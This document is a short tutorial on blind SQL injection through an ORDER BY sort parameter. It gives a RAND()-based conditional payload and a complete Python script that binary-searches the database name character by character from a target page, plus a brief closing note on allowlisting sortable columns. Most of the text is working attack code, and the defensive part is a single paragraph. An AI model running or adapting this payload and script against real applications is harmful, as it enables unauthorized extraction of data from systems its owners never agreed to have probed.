Exploiting Order By Clauses for Blind SQL Injection
In SQL injection scenarios where the ORDER BY clause processes user input, data extraction can be performed through blind techniques. The method relies on observing differences in sorting behavior when conditions evaluate to true or false.
Exploitation Technique
The RAND() function comibned with conditional logic enables blind extraction. For example:
?sort=RAND(ASCII(SUBSTRING((SELECT DATABASE()),1,1)) > 100)
When the condition is true, RAND(true) generates one sequence; RAND(false) produces another. These sequences create distinct row orders observable in the output.
Automated Extraction Script
This Python script performs binary search to extract database names:
import requests
from bs4 import BeautifulSoup
def retrieve_database(target_url):
db_name = ''
position = 1
while True:
low = 32
high = 126
while low <= high:
mid = (low + high) // 2
payload = f"RAND(ASCII(SUBSTRING((SELECT DATABASE()),{position},1)) > {mid})"
response = requests.get(target_url, params={'sort': payload})
soup = BeautifulSoup(response.text, 'html.parser')
element = soup.find_all('td')[1].text
if element == 'admin3': # True condition indicator
low = mid + 1
else:
high = mid - 1
if high < 32:
break
db_name += chr(high)
print(f"Current: {db_name}")
position += 1
return db_name
if __name__ == "__main__":
target = 'http://example.com/vuln_page.php'
result = retrieve_database(target)
print(f"Database: {result}")
Defense Considerations
Prepared statements offer limited protection since ORDER BY parameters cannot be bound directly. Implement strict allowlists for sortable columns and validate inputs against known column names.